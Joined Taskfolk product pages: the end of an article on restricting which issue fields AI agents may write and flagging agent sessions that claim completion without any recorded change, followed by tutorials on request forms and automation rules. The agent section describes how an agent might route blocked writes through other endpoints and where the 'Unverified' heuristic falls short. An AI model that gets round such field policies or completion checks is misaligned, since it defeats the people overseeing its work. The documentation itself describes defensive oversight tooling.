the API answers HTTP 403 with a message that names the exact field and lists what is allowed: ```json { "error": { "code": "forbidden", "message": "This agent's field policy does not allow writing 'status'. Allowed fields: title, description. An owner or admin can change this on the Bots page." } } ``` That message is doing real work. It tells the agent (and whoever is reading its logs) precisely which field was blocked, exactly what it may touch instead, and who can change the rule. No guessing. The reason this holds is that enforcement is uniform across every write path. It does not matter how the agent tries to change the field: - The REST issue PATCH endpoint. - The dedicated status-transition endpoint (moving a ticket between columns). - MCP `update_issue`, which re-enters the same PATCH pipeline in-process rather than taking a separate route. - The separate time-tracking PATCH endpoint (estimate, spent, completion). ```mermaid flowchart LR A[REST issue PATCH] --> E[Field policy check] B[Transition endpoint] --> E C[MCP update_issue] --> E D[Time tracking PATCH] --> E E -->|field allowed| F[Write applied] E -->|field blocked| G[403 names the field] ``` All four land at the same check. So an agent cannot sneak a status change through the transition endpoint after the plain PATCH refused it, and it cannot launder a write through MCP to dodge the policy. Same gate, every time. Every change to a policy is also written to the audit log as an `agent.field_policy_changed` row, so you have a record of who tightened or loosened an agent and when. If you keep an audit trail of what your agents do, this slots right into it: see [keeping an audit trail of AI agent changes](/blog/keep-an-audit-trail-of-ai-agent-changes). ## What the policy does not cover Being honest about the edges matters more than making this sound bigger than it is. Here is what the field policy does not do. **It is per-field, not per-value.** You can allow Status or block Status. You cannot say "may set status to In Review but not Done". A field is on or off; the values inside it are not individually gated. If you need an agent that can advance tickets partway but never close them, this policy is not the lever (workflow transition rules are a different mechanism). **It covers issue fields only.** Creating and deleting issues, and reaching non-issue resources, are governed by API-key scopes and workspace roles, not by this policy. So a restricted agent is not stopped from creating issues by its field policy; that is a scope question. Don't treat the allowlist as a wall around everything the agent can do. It is specifically about which fields on an existing issue it may write. **Board position is never gated.** The `rank` that controls a card's slot in a column, and internal bookkeeping like the updated timestamp, are not covered. A restricted triage agent can still drag and re-order cards on the board, even if you did not tick anything that sounds like "position". If card order matters to you, know that the field policy is not what controls it. **Some fields collapse onto one token.** A few things you might think of as separate are a single toggle. Status covers the status, its underlying status id, and the resolved timestamp, all under one "Status" checkbox. Assignees covers both the primary assignee and the multi-assignee set as one "Assignees" checkbox. You cannot split those apart. **It guards the agent's own key, not privileged humans.** This is a leash on the agent, not a boundary against owners and admins. An admin can still edit any field directly, and can change the agent's policy. It is not a security control against people with power in the workspace; it is a scoping control on a machine actor. **One agent at a time.** There is no bulk editor. You set the policy per agent, through that agent's row menu. If you have ten agents to lock down, that is ten trips through the dialog. ## Verify the agent actually did the work: the Unverified badge Restricting fields keeps an agent from touching what it shouldn't. It does not tell you whether the agent actually did what it claims. That is a different problem, and Taskfolk has a second signal for it. When an agent marks a session as review or done, Taskfolk checks whether the agent left a trace. Specifically: is the session anchored to an issue, and did that agent record at least one attributed activity row or comment on that issue during the session window, or provide an external link? If the answer is no, a pink "Unverified" badge appears next to the session's state badge. ```mermaid flowchart TD A[Session marked review or done] --> B{Anchored to an issue?} B -->|no| C[Never flagged] B -->|yes| D{External link provided?} D -->|yes| C D -->|no| E{Attributed activity or comment during the session?} E -->|yes| F[No badge] E -->|no| G[Pink Unverified badge] ``` The badge shows in two places: on the session rows in the Bots page, and on the issue-detail "Agent activity" card at the issue itself. Hover it and the tooltip explains what it means: "This session claims the work is done, but no attributed change (activity or comment) was recorded on the issue during it, and no link was provided." ![A done session wearing the pink Unverified badge on the issue's agent activity card, beside the attributed change history.](/images/blog/manage-a-team-of-ai-agents-verify-badge.webp) Read the caveats carefully, because this is a heuristic, not a verdict. - It proves a change exists, not that the change was correct. It checks for at least one attributed activity row or comment on the issue during the session. It does not, and cannot, judge whether the work was any good. - It is derived at read time, the same way stalled-session detection is. There is no stored "verified" column, no backfill, and nothing to click to mark a session verified. It is computed when you look. - It only applies to review or done sessions that are anchored to an issue and have no external link. A PR link or other external URL counts as evidence and hides the badge. Workspace-level sessions with no issue anchor can't be reconciled this way and are never flagged. - It is additive. It shows beside the state badge, never instead of it. So the Unverified badge answers a narrow, useful question: did this agent leave any footprint on the issue it says it finished? An empty session that flipped a ticket to Done with no comment, no activity, no link, lights up pink. That is your prompt to go look. It is not a substitute for a human reading the actual change, which is why it pairs naturally with [human-in-the-loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents). ## A sensible starting policy for common agent roles Rather than start every agent at full access and hope, start narrow and widen when the agent earns it. Here are allowlists that match common jobs, as a starting point you can adjust. | Agent role | Allowlist | Why | |---|---|---| | Triage agent | Status, Priority, Labels, Assignees | Sorts and routes incoming work. No business rewriting descriptions or setting dates. | | Time-logging agent | Estimate, Time spent, Completion % | Records effort and progress, nothing else. | | Docs or writer agent | Title, Description | Cleans up wording and titles. Should not move tickets between columns. | | Planning agent | Sprint, Release, Milestone, Start date, Due date | Schedules work into cycles, but leaves day-to-day status and assignment to the triage flow. | None of these is the only right answer. The point is the shape: give each agent the smallest set of fields its role actually needs, watch it work, and add a field the day you find it genuinely blocked. It is far easier to grant one more checkbox than to unwind the mess an over-permissioned agent made across a board. If you are still setting up your first bot, start with [connecting an AI agent](/docs/how-to-connect-an-ai-agent), then come back and scope it. And if you are working out where the line between your team and your agents should sit in general, [decision rights between your team and AI agents](/blog/decision-rights-between-your-team-and-ai-agents) is the companion read. Open your Bots page, find the agent doing the most unattended work, and give it a field policy before it gives you a reason to. --- # How to set up a request form URL: https://taskfolk.ai/docs/how-to-set-up-a-request-form Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: forms, service desk, Taskfolk, how-to Build a public intake form in Taskfolk that creates tickets: map fields to issue title, description and priority, route submissions, publish a no-account link. You keep getting the same request three different ways. A Slack ping. A forwarded email. Someone catching you at your desk with "hey, can you look at this real quick." Every one lands in your tracker as a half-described mess, and then you spend the afternoon chasing the reporter for the browser they were on, the URL that broke, the screenshot they swear they took. If you have ever wanted an intake form that creates tickets instead of another shared inbox to sift through, Taskfolk builds one into every project. This tutorial walks the whole loop. You build a public request form inside a project, map its answers onto real issue fields, publish a shareable link that needs no account, route the tickets it opens so they land in the right column, and verify on the Submissions tab that every response is tied to the KEY-NUM task it created. I will name the limits as we go, because knowing what a tool refuses to do is half of using it well. ## Why an intake form that creates tickets beats a shared inbox Here is the actual problem. Requests arrive as prose, in whatever shape the sender felt like typing, across three or four channels. A shared inbox does nothing to fix that. It moves the mess into one place, still unstructured, still needing you to re-key each one into your tracker by hand, still missing the fields you need to triage. A form fixes the shape of the request at the source. You decide what to ask. The submitter fills in your fields, not a blank text box, and Taskfolk turns each submission into a real task in the project. No re-typing. A form is a small contract about what a good request looks like, and it gets enforced before anything reaches your board. Taskfolk goes one step past collecting the answer. Every submission creates a task in the project the form lives in, then runs that workspace's `issue.created` automations on top, so your auto-assign and triage and routing rules fire exactly as they would for a hand-typed ticket. The pipeline, start to finish: ```mermaid flowchart LR A["Submitter opens /f/token"] --> B["Honeypot and rate limit checks"] B --> C["Issue created with mapped fields"] C --> D["Routing defaults applied"] D --> E["issue.created automations run"] E --> F["Ticket on your board"] ``` If you want the deeper version of that pipeline, [turning a request form into a triaged issue](/blog/turn-a-request-form-into-a-triaged-issue) covers it end to end. Two things to set expectations before you start. Forms live per project, not per workspace, so you build them where the work lands. And building them is gated: only workspace owners and admins hold `form.manage`, so only they can create or edit a form. A member with `issue.create` can open the builder and use Test submit, but cannot change the form. That is deliberate. A public form is an attack surface, and you do not want everyone minting them. ## Where forms live and creating your first one Open the project you want requests to land in. For this walkthrough I am using the demo project WEB, whose board runs Backlog, To Do, In Progress, In Review, Done. In the project's tab strip you will find a Forms tab. Click it. The Forms list is your inventory. Each form shows its status (draft, published, or closed), a Public badge when its link is live, and a submission count so you can see at a glance which forms are actually pulling traffic. On a fresh project the list is empty except for the one entry point you need: + New form. ![The project Forms tab showing existing forms with draft/published/closed status, a Public badge, submission counts, and the + New form button, establishing where the intake feature lives in a project.](/images/blog/how-to-set-up-a-request-form-forms-list.webp) Click + New form. The Create a form dialog opens with the choice that shapes everything after it: start from scratch, or pick a ready-made template. Blank form seeds a single starter field, a Summary short-text question already mapped to the issue title, which means the form works the instant you create it. No dead form that collects nothing. The alternative is one of ten templates: Contact us, Bug report, Feature request, Support, Job application, Event registration, Survey, Lead capture, Content request, Onboarding. For a support or bug intake, start from the Bug report template. It arrives with the fields a good bug ticket needs already laid out, and editing an existing field is faster than inventing one from nothing. Give the form a name in the "Form name, e.g. Bug report" box, something the submitter never sees but you will recognise in the list, then click Create. You land in the builder. ## Building the form: the 14 question types The builder opens on the Build tab, where the form takes shape. You see the ordered list of questions, and above them a + Add question button. Click it and the menu is grouped so you are not scrolling a flat list of thirty things: - **Text**: Short text, Paragraph - **Choice**: Dropdown, Single choice, Checkboxes - **Number & rating**: Number, Rating - **Contact**: Email, Phone, Link - **Date**: Date - **File**: File upload - **Layout**: Section, Yes / No ![How to set up a request form - builder build tab](/images/blog/how-to-set-up-a-request-form-builder-build-tab.webp) Fourteen kinds, and it is a fixed set. Be honest with yourself about that up front. There is no rich-text field, no signature capture, no payment field, no multi-file uploader. A File upload field takes exactly one file. If your intake genuinely needs a signature or a card on file, a form is the wrong tool, and faking it will only frustrate you. Each question has its own config panel. You set the label (the question the submitter reads), optional Help text, and a Placeholder for text fields. The Required toggle decides whether the form can be submitted without it. For the three choice kinds (Dropdown, Single choice, Checkboxes) you type the options one per line. Depending on the kind you also get validation: Min and Max on a Number, Max length on text, Stars on a Rating, a Default value where it makes sense. You arrange questions by dragging the handle, or with Move question up and Move question down if you prefer clicks. You can delete a question. And you can Duplicate the whole form when you want a variant without rebuilding: fields, settings, branding, and routing carry into a fresh draft, minus the token, the uploaded branding assets, and the password. Here is a concrete Bug report form worth copying. A Summary short text ("What went wrong?"). A Paragraph for steps to reproduce. A Single choice for severity, options one per line. And a File upload so the reporter can attach the screenshot they actually took this time. Four fields, every one earning its place. ## Mapping fields so submissions become structured issues This is the part that separates an intake form from a plain contact form, and it is the reason to use Taskfolk for this at all. Each field has a Maps to target that decides where its answer lands on the created issue. Three real destinations, plus "keep it in the submission": - **Issue title.** The first field mapped to the title wins, so order matters. Title accepts short text, long text, email, url, phone, or number. - **Issue description.** short text or long text. - **Issue priority.** This one is fussy on purpose. Only a Dropdown or Single choice can map to priority, and only when its options are the literal priority names: lowest, low, medium, high, highest, critical. There is a Use priority options helper that fills those in for you, so you do not fat-finger "hihg" and quietly break the mapping. Anything you do not map is not thrown away. Unmapped answers become a labelled detail list at the bottom of the issue description, so the steps to reproduce, the browser, the account email, all of it lands in the ticket even though none of it is the title. Nothing is lost. It just does not become a first-class field. ```mermaid flowchart TD Q["Form field answer"] --> M{"Maps to"} M --> T["Issue title"] M --> D["Issue description"] M --> P["Issue priority"] M --> N["Not mapped"] N --> L["Detail list at the bottom of the description"] ``` For the Bug report form, map Summary to Issue title and the severity Single choice to Issue priority (with priority-name options). Now a submission that reads severity "high" opens an issue already at High priority, and the summary line is the ticket's title instead of a wall of text. Two more knobs live at the form level rather than the field level: the form's issue Type (Task, Story, or Bug) and its default Priority (lowest through critical). Every issue the form creates inherits those. Set the Bug report form's Type to Bug and you never reclassify. That is the whole mapping surface, honestly: title, description, priority, or none. There is no field-to-assignee or field-to-label mapping. If you need those set per ticket, that is a routing default, which we get to below. For how a created issue reads once it lands, [how to create an issue](/docs/how-to-create-an-issue) is the companion piece. ## Conditional logic with "Show only if" Long forms lose people. The fix is to ask each question only when it is relevant, and every field has a Show only if control for exactly that. You pick a Condition field (another question on the form), an operator, and a Value, then click Add condition. The operators are is, is not, contains, is answered, and is empty. So you can say: only show "Which browser?" when a "Bug type" single choice is "Visual glitch." Somebody reporting a billing problem never sees the browser question, and the form stays short for everyone. One behaviour here is worth internalising, because it saves you from a classic mistake. A hidden field is not rendered, is not required, and its answer is dropped server-side. You cannot accidentally require a field that a condition is hiding. The form will never wedge itself into a state where a submitter is blocked by a question they cannot see. The Required toggle and the Show only if condition simply cannot fight each other into a trap. ## Branding the public form on the Design tab Switch to the Design tab, labelled Branding in the builder. This is the face external submitters see, and since half of them may not know Taskfolk exists, it is worth thirty seconds of care. You can set an Accent color as a hex value, upload a Logo, and add a Cover image. The cover accepts PNG, JPG, WebP, or GIF up to 5 MB, uploaded through a presigned flow like every other upload in Taskfolk. There is a Header text field, and a Show project name toggle if you want the project name on the public page. Keep it light. One accent colour that matches your brand, a logo, maybe a cover, done. Note the two size caps so you do not confuse them later: branding assets (logo and cover) cap at 5 MB, while files a submitter attaches through a File upload field cap at 10 MB. Different limits, different purposes. ## Routing, delivery, and access under Settings The Settings tab does the heavy lifting, and it splits into a few groups. **Routing** applies to every task the form creates, and the note on the panel says it plainly: your automations run on top. Here you set Assign to (a workspace member, or an agent, which shows with an "(agent)" label), Labels, Sprint, and Status. That Status field is the quiet hero. Point it at Backlog and every bug the form files drops straight into Backlog instead of some default column you then have to drag things out of. ![The project automations list, where issue.created rules run on top of whatever routing defaults the form applies.](/images/blog/how-to-set-up-automations-list.webp) Assigning to an agent behaves specially: it opens a pending agent session, so a routed agent is queued to pick the work up rather than silently owning it. For the human side of that handoff, [human-in-the-loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents) is the right read. **Delivery and limits** controls the submission experience. Set a Close date to auto-close the form after a deadline. Set a Response limit to cap total submissions. Turn on One response per email if you need to dedupe by submitter, which makes the submitter email required. And After submit chooses what happens when someone hits send: Show a message (a thank-you you write) or Redirect to a URL. **Access** decides who can even open the form. Three audiences: | Audience | Who gets in | |---|---| | Anyone with the link | Truly public, no account needed | | Project members | A signed-in workspace member, plus a project member when the project is scoped | | Invited emails only | Signed in, with their email on the allowlist you paste one per line | Independent of the audience, you can add a Password, scrypt-hashed, required to open the form. Now the honest limits, because this is where over-configuring bites. Routing is tenant-safe by design, which means an over-specified Status, Sprint, assignee, or Labels value that no longer belongs to the project gets silently dropped rather than applied wrong. Delete a label and forget the form still references it, and the form does not error; it just applies one fewer default. The Redirect URL must be an absolute http or https URL; `javascript:` and `data:` schemes are rejected outright. And the password unlock is a 12-hour cookie bound to the current password hash, so rotating the password invalidates every prior unlock. There is no separate "form account." Restricted audiences reuse Taskfolk's normal magic-link sign-in. ## Publishing and sharing the link Everything so far has been a draft. To go live, find the Public link toggle and turn it on. That mints a 40-hex-character token, sets the form's status to published, and the form is instantly live at `/f/`. Use Copy link to grab the URL, or Open form to see it. For the Anyone-with-the-link audience, whoever you send it to needs no account. Before you blast that link to a customer list, use the builder's Preview and Test submit. Test submit is not a mock. It creates a real issue through the internal path, so you see exactly what a submission produces, mapping and routing and all, without waiting for a stranger to try it. Fix what looks wrong, then share. What the submitter sees is a clean branded page: your accent colour, logo or cover, header text, then your fields. If you did not turn on One response per email, there is an optional "Your email" field. A Submit request button. After they send, either your thank-you message or your redirect. At the bottom, a small "Powered by Taskfolk." That is it. Two Notifications settings are worth flipping on in the same panel. Notify me of new submissions sends the form owner an email and an in-app ping per submission. Send submitters a confirmation email drops a copy of your thank-you message to anyone who left an email. One note on discoverability: the `/f/` page is intentionally noindex and nofollow. It will not show up in Google, and that is on purpose. It is a share link, not a landing page. If you want the form found, you link to it yourself. ## Reviewing submissions and proving the loop Open the Submissions tab. This is where the "creates tickets" promise gets proven, not just claimed. You get a searchable list of every response. Each row links to the KEY-NUM task it opened and shows that task's current status, so you can watch a raw public submission become, say, WEB-142 sitting in Backlog, assigned, labelled, its priority set from the severity dropdown. A View detail panel shows the full submission behind any row. Export CSV gives you a file with a label header and one row per submission when you want the data outside Taskfolk. ![A kanban board with columns like Backlog and In Progress, where routed form submissions land as ordinary tickets you triage like any other.](/images/blog/how-to-use-a-kanban-board-overview.webp) File attachments close the loop physically. An anonymous submitter can attach one file per File upload field, presigned straight to storage. The allowed types are PNG, JPG, GIF, WebP, PDF, DOC, DOCX, XLS, XLSX, TXT, CSV, and ZIP, up to 10 MB each, and on submit the file is attached to the created issue. So the screenshot the reporter uploaded is right there on WEB-142, not buried in an email thread. Now the limits, plainly. There are no per-question analytics, no partial-save or resume, no multi-step wizard, no spreadsheet-style editable grid. Submissions are a searchable list, a detail panel, and CSV export. Both the list and the export are capped at the 100 most recent responses. For a steady intake stream that is fine, because you triage each one into a ticket as it arrives and the ticket is the durable record. If you expect thousands and want every raw submission kept forever, export regularly. Do not treat the Submissions tab as your archive. ### Pulling submissions over the REST API The v1 API has no 100-row cap: `GET /v1/workspaces/{slug}/projects/{key}/forms/{id}/submissions` pages through everything with a cursor, newest first, up to 200 rows per page. It needs an API key with the `forms:read` scope. Get the form id from the forms list endpoint first, then page: ```bash curl "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/forms//submissions?limit=200" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/forms//submissions?limit=200", { headers: { Authorization: "Bearer tfk_live_a1b2..." } }, ); const { data, pagination } = await res.json(); // pass pagination.next_cursor back as ?cursor= for the next page ``` ```python import requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/forms//submissions", headers={"Authorization": "Bearer tfk_live_a1b2..."}, params={"limit": 200}, ) body = res.json() rows, next_cursor = body["data"], body["pagination"]["next_cursor"] ``` Each row carries the raw answers plus the issue the submission created: ```json { "id": "0197c2ae-...", "answers": { "field-id-1": "Checkout button does nothing", "field-id-2": "high" }, "submitter_email": "reporter@example.com", "source": "public", "created_issue_id": "0197c2ae-...", "created_issue_key": "WEB-142", "created_at": "2026-07-15T09:12:44.000Z" } ``` When `pagination.next_cursor` comes back null, you have everything. ## Common mistakes, limits, and deleting a form A few practitioner notes that will save you a support ticket of your own. Forgetting to map a title field is the most common one. Nothing breaks; the unmapped answers still land as that labelled detail list. But the issue title reads poorly, because without a title-mapped field Taskfolk has nothing good to put there. Always map one field to Issue title. On the flip side, requiring a field that a condition hides cannot cause a problem, since hidden fields are never required, which is exactly why that behaviour exists. Priority mapping trips people up because it only works on a Dropdown or Single choice whose options are literal priority names. Map a Short text to priority and it will not take. Use the Use priority options helper and you skip the whole class of typo. The submitter's email is optional unless One response per email is on, at which point it becomes required. If you need every submission tied to an email, turn that on rather than hoping people fill the optional field. And File upload only works if the form actually contains a File upload field; there is no hidden attachment slot. Rate limits and a honeypot run automatically to keep bots and floods out. You do not configure them, and you certainly do not tell submitters to work around them. They are just there. Deleting is gentle. Delete this form soft-deletes it and disables the public link, so the `/f/` URL stops working, but every issue the form already created is kept. You lose the intake surface, not the work. That is the whole loop: a public form, mapped to real issue fields, routed into your board, verified on the Submissions tab, with the honest edges named. Open the Forms tab in your project and build the first one. --- # How to set up automations URL: https://taskfolk.ai/docs/how-to-set-up-automations Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: automation, how-to, workflow Set up project management automation rules in Taskfolk: the when/if/then model, six triggers, conditions, nine actions, run history, plan caps, and real limits. You keep doing the same three clicks every time a bug lands. Open the issue. Set its status. Assign it to whoever owns that part of the app. It's muscle memory by now, and that's the problem. Work that runs on muscle memory is work a rule should be doing for you. In Taskfolk, a project management automation rule can catch that bug the instant it's created and make all three moves before the notification even reaches you. This guide walks through project management automation rules in Taskfolk from the ground up. You'll learn to read any rule as a plain sentence, pick the right trigger, narrow it with conditions, stack actions that respect your workflow, and check the run history so you actually trust the thing. Everything uses the demo `WEB` project (columns Backlog, To Do, In Progress, In Review, Done), so the examples land on something concrete instead of hand-waving. I'll also be straight about the edges. These rules don't chain, they don't fire on a schedule, and they're a paid feature. Knowing the limits up front is what keeps a rule from quietly misbehaving three weeks later. ## What automation rules actually do in Taskfolk A rule watches for an event in your workspace and acts on it without you. Something happens (an issue is created, a status changes, a comment lands), the rule checks whether it matches your conditions, and if it does, it runs the actions you defined. That's the whole feature. No scripts, no code, no glue. Here's the first thing to internalize: automations in Taskfolk are **workspace-scoped**, not per-project. There's no automations tab hiding inside a single project. One rule watches issues across every project in the workspace, and if you want it to touch only one project, you narrow it with a condition (more on that below). That's different from tools where you rebuild the same rule in every project. Here you write it once. Open the **Automations** page from the workspace sidebar. It lives at `/w/[workspace]/automations` and it's home base for everything here. The subtitle reads "Trigger actions automatically when things happen in your workspace." Just under that is the line that teaches the whole model: "Every rule reads when something happens, if it matches your conditions, then run these actions." Top right you get the **+ New automation** button and a small plan usage counter showing "{used} / {limit} automations" so you always know how close you are to your cap. Below that live your existing rule cards, and under those, a "Start from a recipe" grid of six starter cards. That grid is the fastest way in, and we'll get to it. ![The Taskfolk Automations list page showing the page title and subtitle, the when/if/then how-it-works line, the + New automation button with the plan usage counter, existing rule cards with their WHEN to IF to THEN chip rows, and the Start from a recipe grid of six starter cards. This is the feature's home and where you decide between a recipe and a scratch build.](/images/blog/how-to-set-up-automations-list.webp) ## The when / if / then model, read like a sentence Every rule in Taskfolk is one sentence with three parts, and the builder labels them **WHEN**, **IF**, and **THEN**. Once this clicks, you can read any rule at a glance and write one without thinking about the UI. **WHEN** is the trigger. It's exactly one event. A rule fires on one thing happening, never a menu of things. That's deliberate. A rule that "does the same job" for two unrelated events is really two rules, and keeping it to one trigger keeps the run history readable. **IF** is the conditions. Zero or more. This is where a rule earns its keep, because a trigger like "Issue is created" fires constantly, and conditions are how you say "yes, but only the ones I care about." You pick whether **All conditions match** (every condition must be true) or **Any condition matches** (one is enough). Add no conditions at all and the rule shows "Runs on every matching event", which is honest about what it'll do: fire on every single trigger. **THEN** is the actions. One or more, running in order, top to bottom. Order matters, which is why you can reorder them. ```mermaid flowchart LR E[Event in workspace] --> W{WHEN trigger matches?} W -- no --> X[Nothing happens] W -- yes --> I{IF conditions pass?} I -- no --> X I -- yes --> T[THEN actions run in order] T --> H[Run logged in history] ``` Here's a concrete `WEB` rule read as a sentence: *when* a bug is created, *if* its type is Bug, *then* set its status to To do and its priority to High. In the builder that's one trigger (Issue is created), one condition (Type is Bug), and two ordered actions (Set status, Set priority). Why one trigger but many conditions and actions? A trigger is the single moment you're reacting to. But the situation you're reacting to has nuance (which project, which type, who's assigned), and your response often has several steps. One cause, several qualifiers, several effects. That asymmetry is the model. ## Start from a recipe or build from scratch There are two ways into a rule, and picking the right one saves real time. The list page shows six **starter recipes**, each a card with its own WHEN/IF/THEN summary: - **Triage new bugs** (when an issue is created, if type is Bug, then set status and priority) - **Tidy on done** (housekeeping when an issue moves to Done) - **Escalate urgent** (bump handling for high-urgency issues) - **Assign on create** (route new issues to an owner) - **Start on assign** (move an issue into progress the moment it's assigned) - **Review ready ping** (notify when something is ready for review) ![The automation recipe cards in Taskfolk, including the Triage new bugs starter that routes fresh bugs the moment they are created. Each card carries its own WHEN, IF, and THEN summary so you can read the rule before opening it.](/images/blog/human-in-the-loop-approval-for-ai-agents-automation.webp) Click any recipe card and it opens the builder pre-filled via `/new?recipe=`, with the trigger, conditions, and actions already populated. Here's the part people miss: a recipe is not a locked template. The moment it opens, it's a fully editable rule. Change the trigger, swap a condition, add three more actions, rename it. Nothing is frozen. The recipe just spares you the blank canvas. Use a recipe when it's close to what you want, which is most of the time for the common jobs like triage, auto-assign, and escalate. Build from scratch when your logic is specific to how your team works, say a rule scoped to one project with a condition on a custom label. And if you start blank and then realize a recipe was closer, the same six sit inside the builder as **template chips**, so you can pull one in mid-build without leaving the page. ## Choosing your trigger (the WHEN node) Your trigger is the first real decision, and Taskfolk gives you exactly six events. No more, no fewer: - **Issue is created** is the workhorse. Best for triage, auto-assignment, and setting sane defaults. In `WEB`, this is what catches a new bug and files it before anyone touches it. - **Issue status changes** fires on any column move. Good for "when it hits In Review, ping the reviewer" or "when it lands in Done, strip the `needs-triage` label." - **Issue priority changes** fires when priority is edited. Useful for escalation: "when priority becomes Critical, assign it to the on-call owner." - **Issue is assigned** fires when an assignee is set. The classic use is "Start on assign": the moment someone gets assigned, move the issue to In Progress. - **Issue is unassigned** fires when the assignee is cleared. Handy for dropping an orphaned issue back into a triage state. - **Comment is added** fires on a new comment. Useful for keeping an issue's status honest, like nudging it out of a stale column when discussion restarts. Now the honest part, because guessing wrong here wastes an afternoon. Those six are the **only** triggers. There is no sprint-start trigger, no due-date trigger, no schedule or time-based trigger, no label-change trigger. You might spot a "Sprint starts" label floating around in the interface text. Ignore it. It isn't a real trigger, it isn't wired to fire, and building a rule expecting it to run on sprint start will leave you staring at an empty run history. If your automation depends on time passing or a sprint beginning, Taskfolk's rules aren't the tool for that job today. And it's one trigger per rule. If you need the same actions on both "created" and "assigned", that's two rules (duplicate one and change its trigger, covered below). ## Narrowing with conditions (the IF node) A trigger like "Issue is created" fires on everything. Conditions are how you carve out the subset you actually mean. This is the line between a rule that helps and a rule that touches issues it had no business touching. First, pick your matching mode at the top of the IF node: **All conditions match** or **Any condition matches**. "All" is an AND (every condition true). "Any" is an OR (one true is enough). Most triage rules want All: type is Bug *and* assignee is empty. You build conditions over seven fields, and each field offers only the operators that make sense for it. That's a feature, not a limitation, because it stops you writing something nonsensical: - **Project** (is / is not / is one of). This is your scoping tool. Add "Project is WEB" and the rule only ever touches `WEB`, which gives you per-project behavior out of a workspace-wide engine. - **Type** (is / is not / is one of). - **Priority** (is / is not / is one of). - **Status** (is / is not / is one of). - **Assignee** (is / is not / **is set** / **is empty**). Note there's no "is one of" here. The two extra operators are the useful ones: "is empty" catches unassigned issues, "is set" catches assigned ones. - **Label** (is / is not). - **Title** (**contains** only). A substring match, nothing fancier, so "Title contains crash" catches anything with "crash" in the summary. One more thing worth knowing on Assignee: you can match against **The person who triggered it** (the `@triggering_user` sentinel) instead of a fixed member. So "Assignee is the person who triggered it" reacts to whoever caused the event, which is how self-referential rules work without hardcoding a name. You can stack up to **10 conditions** per rule. Here's a `WEB` example that narrows hard: All conditions match, **Project is WEB**, **Type is Bug**, **Assignee is empty**. That rule fires only on brand-new unassigned bugs in `WEB` and leaves everything else alone. Precise conditions are what let you trust a rule to run while you're not watching. ## Stacking actions (the THEN node) Actions are what the rule does once it matches. There are nine types, they run in the order you list them, and you can stack up to **10** per rule. Most are self-explanatory, so I'll spend the words on the ones with real behavior behind them. The full set: **Set status**, **Set priority**, **Assign to**, **Unassign**, **Add label**, **Remove label**, **Move to sprint**, **Add comment**, **Notify agent**. A few deserve detail. **Set status** respects your project's workflow transition rules. If your `WEB` workflow forbids jumping straight from Backlog to Done, an automation that tries it gets **skipped**, not forced through. The rule doesn't get to break the rules everyone else follows. When that happens the run shows as Partial (covered in the next section), so you see the skip instead of wondering why nothing moved. Set status can target Backlog, To do, In progress, In review, Done, Failed, or Cancelled. ![Workflow transition rules in project settings, where each column has a Can move to setting. Automations obey these too: a Set status action that would break a transition gets skipped, never forced through.](/images/blog/human-in-the-loop-approval-for-ai-agents-workflow.webp) **Assign to** takes either a **Specific member** or the **Triggering user**. Pick a specific member to always route to the same owner, or the triggering user to assign back to whoever caused the event. One important behavior: if you assign to an **agent** (a connected AI agent), that action auto-wakes it, creating a pending agent session and pushing a delegation event. So "Assign to" doubles as the way you hand work to an AI agent automatically. **Set priority** takes Lowest, Low, Medium, High, Highest, or Critical. **Move to sprint** offers three targets: the project's **Active sprint**, a **Specific sprint** you choose, or the **Backlog**. Good for pulling triaged work into the current sprint or shelving it. **Add comment** posts an automated comment. Write "Auto-filed {issue}: {title}" and it renders with the real values. It supports exactly four placeholders: | Placeholder | Renders as | | --- | --- | | `{issue}` | the issue key, like `WEB-12` | | `{title}` | the issue title | | `{assignee}` | the assignee's name, or "unassigned" | | `{actor}` | the name of whoever triggered the event | Every stored automated comment is prefixed with an italic **[Automated action]** tag, so nobody mistakes it for something a human wrote. The in-UI hint only mentions `{issue}` and `{title}`, but all four work. There are no other tokens, so don't reach for a project or date placeholder. **Notify agent** wakes a connected AI agent over its event stream without touching the issue at all. Read that twice, because it trips people up: **Notify agent does not notify humans.** It's agent-only. If you want to nudge a teammate, this isn't the action. To reorder actions, use the move-up and move-down controls on each action node, and remove any you don't want. Order is real. If you Set status then Add comment, the comment can reflect the new status. Flip them and it reflects the old one. The honest limit on actions: those nine are all there is. There's no email action, no Slack action, no webhook, no "create issue" or "create subtask" action. Automations mutate the issue that triggered them and talk to agents. They don't reach outside Taskfolk. ## Name it, toggle it on, and save Once the flow is built, the right sidebar is where you finish. It holds the **Rule name** field (say "Auto-assign bugs", capped at 100 characters), the **On/Off** enabled toggle, a small how-it-works help card, and the **Save rule** and **Cancel** buttons. The name isn't decoration. It's what you'll scan in the rule list and in run history six months from now, so name it for what it does, not "Rule 4." The On/Off toggle decides whether you're saving a live rule or a disabled draft. This is the single most useful habit here: **build it Off, then flip it On.** Save the rule disabled, look at it sitting in the list, re-read the WHEN/IF/THEN chips, maybe create one test issue in `WEB` to sanity-check your conditions, and only then enable it. A rule saved On starts firing immediately, and an over-broad condition set can touch a lot of issues fast. Saving is gated by validation. Taskfolk won't let you save until the name is filled in, every action's required value is set (a "Set status" with no status chosen blocks the save), and every condition has a value. That's a guardrail against half-built rules that silently do nothing. One more reason to lean on drafts: **only enabled rules count against your plan cap.** Disabled drafts are free. So you can keep a shelf of ready-but-off rules and switch them on as you need them, without burning your active-rule budget. ## Checking the run history so you trust the rule A rule you can't see running is a rule you won't trust, and rightly so. Every rule card has a **History** button that opens the **Run history** modal. It shows the last **20 runs**. Each row gives you a status chip (**OK**, **Error**, or **Partial**), the trigger that fired it, a count of "actions applied", an optional detail line, a link to the affected issue key (like **WEB-12**, clickable straight to the issue), and a relative timestamp. If a rule has never fired, you'll see "No runs recorded yet." It's read-only. No re-run button, no filter, no dry-run or test feature. History is for auditing what happened, not for triggering runs. The chip you most need to understand is **Partial**. It means the rule fired and matched, but at least one action got skipped. The usual causes: - A **Set status** blocked by the project's workflow transition rules. - An **assignee who's no longer a member** of the workspace. - A **label or sprint from a different project** than the issue. - An **already-set no-op**, like assigning someone who's already the assignee, or setting a status the 